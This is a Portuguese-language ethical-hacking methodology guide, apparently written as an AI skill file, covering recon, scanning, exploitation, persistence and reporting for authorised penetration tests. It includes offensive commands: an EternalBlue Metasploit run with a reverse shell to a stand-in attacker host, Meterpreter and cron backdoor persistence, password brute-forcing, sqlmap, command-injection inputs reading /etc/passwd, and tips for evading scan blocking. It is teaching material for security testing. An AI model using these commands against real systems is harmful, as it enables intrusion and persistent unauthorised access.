Ethical Hacking Methodology

Ethical Hacking Methodology

Propósito

Domine o ciclo de vida completo do teste de penetração, da reconhecimento até relatório. Esta skill cobre os cinco estágios da metodologia de hacking ético, ferramentas essenciais, técnicas de ataque e relatório profissional para avaliações de segurança autorizadas.

Pré-requisitos

Ambiente Necessário

• Kali Linux instalado (persistente ou live)
• Acesso de rede aos alvo autorizados
• Autorização escrita do proprietário do sistema

Conhecimento Necessário

• Conceitos básicos de redes
• Proficiência em linha de comando Linux
• Compreensão de tecnologias web
• Familiaridade com conceitos de segurança

Saídas e Entregas

1. Relatório de Reconhecimento - Informações do alvo coletadas
2. Avaliação de Vulnerabilidade - Fraquezas identificadas
3. Evidência de Exploração - Ataques de prova de conceito
4. Relatório Final - Conclusões executivas e técnicas

Fluxo de Trabalho Principal

Fase 1: Entendendo Tipos de Hackers

Classificação de profissionais de segurança:

Hackers White Hat (Hackers Éticos)

• Profissionais de segurança autorizados
• Realizam testes de penetração com permissão
• Objetivo: Identificar e corrigir vulnerabilidades
• Também conhecido como: penetration testers, consultores de segurança

Hackers Black Hat (Maliciosos)

• Intrusões não autorizadas em sistemas
• Motivados por lucro, vingança ou notoriedade
• Objetivo: Roubar dados, causar danos
• Também conhecido como: crackers, hackers criminosos

Hackers Grey Hat (Híbrido)

• Podem cruzar limites éticos
• Não são maliciosos mas podem quebrar regras
• Frequentemente divulgam vulnerabilidades publicamente
• Motivações mistas

Outras Classificações

• Script Kiddies: Usam ferramentas pré-feitas sem compreensão
• Hacktivistas: Motivados politicamente ou socialmente
• Nation State: Operadores patrocinados por governos
• Coders: Desenvolvem ferramentas e exploits

Fase 2: Reconhecimento

Colete informações sem interação direta com o sistema:

Reconhecimento Passivo

# Busca WHOIS
whois target.com

# Enumeração DNS
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS

# Descoberta de subdomínios
dnsrecon -d target.com

# Extração de emails
theHarvester -d target.com -b all

Google Hacking (OSINT)

# Encontre arquivos expostos
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc

# Encontre páginas de login
site:target.com inurl:login
site:target.com inurl:admin

# Encontre listagens de diretórios
site:target.com intitle:"index of"

# Encontre arquivos de configuração
site:target.com filetype:config
site:target.com filetype:env

Categorias do Google Hacking Database:

• Arquivos contendo senhas
• Diretórios sensíveis
• Detecção de servidor web
• Servidores vulneráveis
• Mensagens de erro
• Portais de login

Reconhecimento em Redes Sociais

• LinkedIn: Organogramas, tecnologias usadas
• Twitter: Anúncios da empresa, informações de funcionários
• Facebook: Informações pessoais, relacionamentos
• Vagas de emprego: Revelações da pilha de tecnologia

Fase 3: Varredura

Enumeração ativa de sistemas alvo:

Descoberta de Hosts

# Varredura de ping
nmap -sn 192.168.1.0/24

# Varredura ARP (rede local)
arp-scan -l

# Descubra hosts ativos
nmap -sP 192.168.1.0/24

Varredura de Portas

# Varredura TCP SYN (furtiva)
nmap -sS target.com

# Varredura TCP completa
nmap -sT target.com

# Varredura UDP
nmap -sU target.com

# Varredura de todas as portas
nmap -p- target.com

# Top 1000 portas com detecção de serviço
nmap -sV target.com

# Varredura agressiva (SO, versão, scripts)
nmap -A target.com

Enumeração de Serviços

# Scripts de serviço específicos
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com

# Varredura de vulnerabilidades
nmap --script=vuln target.com

Referência de Portas Comuns

Fase 4: Análise de Vulnerabilidade

Identifique fraquezas exploráveis:

Varredura Automatizada

# Scanner web Nikto
nikto -h http://target.com

# OpenVAS (linha de comando)
omp -u admin -w password --xml="<get_tasks/>"

# Nessus (via API)
nessuscli scan --target target.com

Testes de Aplicações Web (OWASP)

• SQL Injection
• Cross-Site Scripting (XSS)
• Broken Authentication
• Security Misconfiguration
• Sensitive Data Exposure
• XML External Entities (XXE)
• Broken Access Control
• Insecure Deserialization
• Using Components with Known Vulnerabilities
• Insufficient Logging & Monitoring

Técnicas Manuais

# Força bruta de diretórios
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# Enumeração de subdomínios
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Fingerprinting de tecnologia web
whatweb target.com

Fase 5: Exploração

Explore ativamente as vulnerabilidades descobertas:

Metasploit Framework

# Inicie o Metasploit
msfconsole

# Procure por exploits
msf> search type:exploit name:smb

# Use exploit específico
msf> use exploit/windows/smb/ms17_010_eternalblue

# Defina o alvo
msf> set RHOSTS target.com

# Defina o payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip

# Execute
msf> exploit

Ataques de Senha

# Hydra força bruta
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Exploração Web

# SQLMap para SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables

# Teste de XSS
# Manual: <script>alert('XSS')</script>

# Teste de command injection
# ; ls -la
# | cat /etc/passwd

Fase 6: Mantendo Acesso

Estabeleça acesso persistente:

Backdoors

# Persistência do Meterpreter
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip

# Persistência de chave SSH
# Adicione a chave pública do atacante a ~/.ssh/authorized_keys

# Persistência de cron job
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab

Escalonamento de Privilégios

# Enumeração Linux
linpeas.sh
linux-exploit-suggester.sh

# Enumeração Windows
winpeas.exe
windows-exploit-suggester.py

# Verifique binários SUID (Linux)
find / -perm -4000 2>/dev/null

# Verifique permissões sudo
sudo -l

Apagando Rastros (Contexto Ético)

• Documente todas as ações realizadas
• Mantenha logs para relatório
• Evite mudanças desnecessárias no sistema
• Limpe arquivos de teste e backdoors

Fase 7: Relatório

Documente os achados profissionalmente:

Estrutura do Relatório

1. Resumo Executivo

   • Achados de alto nível
   • Impacto no negócio
   • Classificação de risco
   • Prioridades de remediação

2. Achados Técnicos

   • Detalhes da vulnerabilidade
   • Prova de conceito
   • Screenshots/evidências
   • Sistemas afetados

3. Classificação de Risco

   • Crítico: Ação imediata necessária
   • Alto: Resolver em 24-48 horas
   • Médio: Resolver em 1 semana
   • Baixo: Resolver em 1 mês
   • Informativo: Recomendações de melhores práticas

4. Recomendações de Remediação

   • Correções específicas para cada achado
   • Mitigações de curto prazo
   • Soluções de longo prazo
   • Requisitos de recursos

5. Apêndices

   • Saídas detalhadas de varreduras
   • Configurações de ferramentas
   • Linha do tempo de testes
   • Escopo e metodologia

Fase 8: Tipos de Ataque Comuns

Phishing

• Roubo de credenciais baseado em email
• Páginas de login falsas
• Anexos maliciosos
• Componente de engenharia social

Tipos de Malware

• Vírus: Auto-replicável, precisa de arquivo hospedeiro
• Worm: Auto-propagável através de redes
• Trojan: Disfarçado como software legítimo
• Ransomware: Criptografa arquivos por resgate
• Rootkit: Acesso oculto no nível do sistema
• Spyware: Monitora atividade do usuário

Ataques de Rede

• Man-in-the-Middle (MITM)
• ARP Spoofing
• DNS Poisoning
• DDoS (Distributed Denial of Service)

Fase 9: Configuração Kali Linux

Instale plataforma de teste de penetração:

Instalação em Disco Rígido

1. Baixe ISO de kali.org
2. Inicie de mídia de instalação
3. Selecione "Graphical Install"
4. Configure idioma, localização, teclado
5. Defina nome do host e senha de root
6. Particione disco (Guided - use disco inteiro)
7. Instale bootloader GRUB
8. Reinicie e faça login

USB Live (Persistente)

# Crie USB inicializável
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress

# Crie partição persistente
gparted /dev/sdb
# Adicione partição ext4 rotulada como "persistence"

# Configure persistência
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb

Fase 10: Diretrizes Éticas

Requisitos Legais

• Obtenha autorização escrita
• Defina escopo claramente
• Documente todas as atividades de teste
• Reporte todos os achados ao cliente
• Mantenha confidencialidade

Conduta Profissional

• Trabalhe com ética e integridade
• Respeite privacidade de dados acessados
• Evite danos desnecessários ao sistema
• Execute apenas testes planejados
• Nunca use achados para ganho pessoal

Referência Rápida

Ciclo de Vida do Teste de Penetração

Comandos Essenciais

Restrições e Limitações

Autorização Necessária

• Nunca teste sem permissão escrita
• Mantenha-se dentro do escopo definido
• Reporte tentativas de acesso não autorizadas

Padrões Profissionais

• Siga regras de engajamento
• Mantenha confidencialidade do cliente
• Documente metodologia usada
• Forneça recomendações acionáveis

Solução de Problemas

Varreduras Bloqueadas

Soluções:

1. Use taxas de varredura mais lentas
2. Tente técnicas de varredura diferentes
3. Use proxy ou VPN
4. Fragmente pacotes

Exploits Falhando

Soluções:

1. Verifique se vulnerabilidade do alvo existe
2. Verifique compatibilidade do payload
3. Ajuste parâmetros do exploit
4. Tente exploits alternativos